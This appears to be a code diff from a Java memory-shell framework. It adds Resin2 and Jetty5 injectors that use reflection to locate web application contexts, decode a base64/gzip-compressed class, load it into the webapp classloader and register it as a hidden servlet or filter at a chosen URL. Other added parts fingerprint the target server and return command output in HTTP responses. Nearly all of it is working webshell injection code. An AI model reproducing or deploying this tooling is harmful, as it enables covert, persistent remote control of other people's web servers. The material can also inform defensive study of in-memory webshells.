invokeMethod(filterMap, "setURLPattern", new Class[]{String.class, String.class}, new Object[]{getUrlPattern(), ""});
invokeMethod(filterMap, "setData", new Class[]{Object.class}, new Object[]{filterConfig});
List filterMaps = (List) getFieldValue(context, "_filterMap");
synchronized (filterMaps) {
filterMaps.add(0, filterMap);
}
invokeMethod(context, "clearCache", null, null);
}
private static Object newInstance(Class<?> clazz, Class<?>[] paramClazz, Object[] param) throws Exception {
Constructor<?> constructor = clazz.getDeclaredConstructor(paramClazz);
constructor.setAccessible(true);
return constructor.newInstance(param);
}
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,248 @@
package com.reajason.javaweb.memshell.injector.resin2;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Resin2ServletInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Resin2ServletInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
addContextFromClassLoader(contexts, Thread.currentThread().getContextClassLoader());
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
addContextFromClassLoader(contexts, thread.getContextClassLoader());
} catch (Throwable ignored) {
}
}
return contexts;
}
private void addContextFromClassLoader(Set<Object> contexts, ClassLoader classLoader) {
Object context = getApplicationFromClassLoader(classLoader);
if (context != null) {
contexts.add(context);
}
}
private Object getApplicationFromClassLoader(ClassLoader classLoader) {
while (classLoader != null) {
try {
Object context = invokeMethod(classLoader, "getAttribute", new Class[]{String.class}, new Object[]{"caucho.application"});
if (context != null && "com.caucho.server.http.Application".equals(context.getClass().getName())) {
return context;
}
} catch (Throwable ignored) {
}
classLoader = classLoader.getParent();
}
return null;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
private void inject(Object context, Object servlet) throws Exception {
Map<String, Object> servlets = (Map) getFieldValue(context, "_servlets");
for (String key : servlets.keySet()) {
if (key.contains(getClassName())) {
return;
}
}
Object servletConfig = invokeMethod(
context,
"addServlet",
new Class[]{String.class, String.class},
new Object[]{getClassName(), getClassName()});
Class<?> servletConfigClass = context.getClass().getClassLoader().loadClass("com.caucho.server.http.QServletConfig");
invokeMethod(
context,
"addDispatchMap",
new Class[]{String.class, servletConfigClass},
new Object[]{getUrlPattern(), servletConfig});
invokeMethod(context, "clearCache", null, null);
}
@Override
public String toString() {
return msg;
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,46 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.jetty.Jetty5FilterInjector;
import com.reajason.javaweb.memshell.injector.jetty.Jetty5ListenerInjector;
import com.reajason.javaweb.memshell.injector.jetty.Jetty5ServletInjector;
import com.reajason.javaweb.utils.ShellCommonUtil;
import net.bytebuddy.asm.Advice;
import static com.reajason.javaweb.memshell.ShellType.*;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Jetty5 extends AbstractServer {
public static class ListenerInterceptor {
@Advice.OnMethodExit
public static void enter(@Advice.Argument(0) Object request, @Advice.Return(readOnly = false) Object response) throws Exception {
try {
response = ShellCommonUtil.getFieldValue(request, "_servletHttpResponse");
} catch (Exception ignored) {
try {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "_request"), "_servletHttpResponse");
} catch (Exception ignored2) {
response = ShellCommonUtil.getFieldValue(ShellCommonUtil.getFieldValue(request, "request"), "_servletHttpResponse");
}
}
}
}
@Override
public Class<?> getListenerInterceptor() {
return ListenerInterceptor.class;
}
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(LISTENER, Jetty5ListenerInjector.class)
.addInjector(FILTER, Jetty5FilterInjector.class)
.addInjector(SERVLET, Jetty5ServletInjector.class)
.build();
}
}
@@ -0,0 +1,22 @@
package com.reajason.javaweb.memshell.server;
import com.reajason.javaweb.memshell.injector.resin2.Resin2FilterInjector;
import com.reajason.javaweb.memshell.injector.resin2.Resin2ServletInjector;
import static com.reajason.javaweb.memshell.ShellType.FILTER;
import static com.reajason.javaweb.memshell.ShellType.SERVLET;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Resin2 extends AbstractServer {
@Override
public InjectorMapping getShellInjectorMapping() {
return InjectorMapping.builder()
.addInjector(FILTER, Resin2FilterInjector.class)
.addInjector(SERVLET, Resin2ServletInjector.class)
.build();
}
}
@@ -52,9 +52,9 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
.name(probeConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(probeConfig.getTargetJreVersion()))
.visit(Advice.withCustomMapping()
.bind(ValueAnnotation.class, probeContentConfig.getCommandTemplate())
.to(runnerClass)
.on(named("run")));
.bind(ValueAnnotation.class, probeContentConfig.getCommandTemplate())
.to(runnerClass)
.on(named("run")));
String base64Bytes = probeContentConfig.getBase64Bytes();
if (StringUtils.isNotBlank(base64Bytes)) {
builder = builder.method(named("getDataFromReq")).intercept(FixedValue.value(base64Bytes));
@@ -86,6 +86,7 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
case Server.SpringWebMvc:
return SpringWebMvcWriter.class;
case Server.Jetty:
case Server.Jetty5:
return JettyWriter.class;
case Server.Tomcat:
case Server.JBoss:
@@ -95,6 +96,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
return TongWebWriter.class;
case Server.Resin:
return ResinWriter.class;
case Server.Resin2:
return Resin2Writer.class;
case Server.Undertow:
return UndertowWriter.class;
case Server.GlassFish:
@@ -118,15 +121,24 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
public static void enter(@Advice.Argument(value = 0) Object request,
@ValueAnnotation String name,
@Advice.Return(readOnly = false) String ret) throws Exception {
String p = null;
try {
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
if (p == null || p.isEmpty()) {
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
}
ret = p;
} catch (Exception e) {
ret = null;
p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
} catch (Exception ignored) {
}
if (p == null || p.isEmpty()) {
try {
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
} catch (Exception ignored) {
}
}
if (p == null || p.isEmpty()) {
try {
p = (String) ShellCommonUtil.invokeMethod(request, "getField", new Class[]{String.class}, new Object[]{name});
} catch (Exception ignored) {
}
}
ret = p;
}
}
@@ -135,22 +147,33 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
public static void enter(@Advice.Argument(value = 0) Object request,
@ValueAnnotation String name,
@Advice.Return(readOnly = false) String ret) throws Exception {
String p = null;
try {
String p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
if (p == null || p.isEmpty()) {
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
}
ret = p;
p = (String) ShellCommonUtil.invokeMethod(request, "getParameter", new Class[]{String.class}, new Object[]{name});
} catch (Exception e) {
}
if (p == null || p.isEmpty()) {
try {
p = (String) ShellCommonUtil.invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{name});
} catch (Exception ignored) {
}
}
if (p == null || p.isEmpty()) {
try {
p = (String) ShellCommonUtil.invokeMethod(request, "getField", new Class[]{String.class}, new Object[]{name});
} catch (Exception ignored) {
}
}
if (p == null || p.isEmpty()) {
Class<?> requestClass = request.getClass().getClassLoader().loadClass("org.eclipse.jetty.server.Request");
Object parameters = requestClass.getMethod("extractQueryParameters", requestClass, Charset.class).invoke(null, request, UTF_8);
String p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
if (p == null || p.isEmpty()) {
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
p = (String) ShellCommonUtil.invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{name});
}
ret = p;
p = (String) ShellCommonUtil.invokeMethod(parameters, "getValue", new Class[]{String.class}, new Object[]{name});
}
if (p == null || p.isEmpty()) {
Object headers = ShellCommonUtil.invokeMethod(request, "getHeaders", null, null);
p = (String) ShellCommonUtil.invokeMethod(headers, "get", new Class[]{String.class}, new Object[]{name});
}
ret = p;
}
}
@@ -160,5 +183,3 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
}
@@ -27,6 +27,10 @@ public class ServerProbe {
classNames.add(traceElement.getClassName());
}
}
if (classNames.contains("org.mortbay.http.HttpConnection")
|| classNames.contains("org.mortbay.http.HttpServer")) {
return ret = "Jetty5";
}
if (System.getProperty("jetty.home") != null
|| classNames.contains("org.eclipse.jetty.util.thread.QueuedThreadPool")) {
return ret = "Jetty";
@@ -54,9 +58,15 @@ public class ServerProbe {
|| System.getProperty("wlp.install.dir") != null) {
return ret = "WebSphere";
}
if (System.getProperty("resin.home") != null) {
if (System.getProperty("resin.home") != null
&& classNames.contains("com.caucho.server.dispatch.ServletInvocation")) {
return ret = "Resin";
}
if (System.getProperty("resin.home") != null
&& (classNames.contains("com.caucho.server.http.HttpRequest")
|| classNames.contains("com.caucho.server.http.ServletServer"))) {
return ret = "Resin2";
}
if (classNames.contains("org.springframework.boot.web.embedded.netty.NettyWebServer$1")) {
return ret = "SpringWebFlux";
}
@@ -0,0 +1,172 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Set;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Resin2Writer {
private static boolean ok = false;
public Resin2Writer() {
if (ok) {
return;
}
try {
Object request = getCurrentRequest();
if (request == null) {
return;
}
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
String result = "";
try {
result = run(data);
} catch (Throwable e) {
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
}
} catch (Throwable e) {
e.printStackTrace();
} finally {
ok = true;
}
}
private Object getCurrentRequest() {
Thread currentThread = Thread.currentThread();
Object request = getRequestFromThread(currentThread, currentThread);
if (request != null) {
return request;
}
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
request = getRequestFromThread(thread, currentThread);
if (request != null) {
return request;
}
}
return null;
}
private Object getRequestFromThread(Thread thread, Thread currentThread) {
Object target = null;
try {
target = getFieldValue(thread, "target");
} catch (Throwable e) {
try {
target = getFieldValue(getFieldValue(thread, "holder"), "task");
} catch (Throwable ignored) {
}
}
return getRequestFromTarget(target, currentThread);
}
private Object getRequestFromTarget(Object target, Thread currentThread) {
if (target == null) {
return null;
}
Object request = null;
if ("com.caucho.server.http.HttpRequest".equals(target.getClass().getName())) {
request = target;
} else {
try {
request = getFieldValue(target, "request");
} catch (Throwable ignored) {
}
}
if (request == null || !"com.caucho.server.http.HttpRequest".equals(request.getClass().getName())) {
return null;
}
try {
Object requestThread = getFieldValue(request, "_thread");
if (requestThread != null && requestThread != currentThread) {
return null;
}
} catch (Throwable ignored) {
}
return request;
}
private String getDataFromReq(Object request) throws Exception {
return null;
}
private String run(String data) throws Exception {
return null;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -114,6 +114,8 @@ public class CommonUtil {
public static String getWebPackageNameForServer(String server) {
switch (server) {
case Jetty5:
return "org.mortbay.jetty.servlet.handlers";
case Jetty:
return "org.eclipse.jetty.servlet.handlers";
case Undertow:
@@ -128,6 +130,8 @@ public class CommonUtil {
return "weblogic.servlet.internal.handlers";
case Resin:
return "com.caucho.server.dispatch.handlers";
case Resin2:
return "com.caucho.server.http.handlers";
case BES:
return "com.bes.enterprise.webtier.web.handlers";
case Apusic:
@@ -148,4 +152,4 @@ public class CommonUtil {
public static String getSimpleName(String className) {
return className.substring(className.lastIndexOf(".") + 1);
}
}
}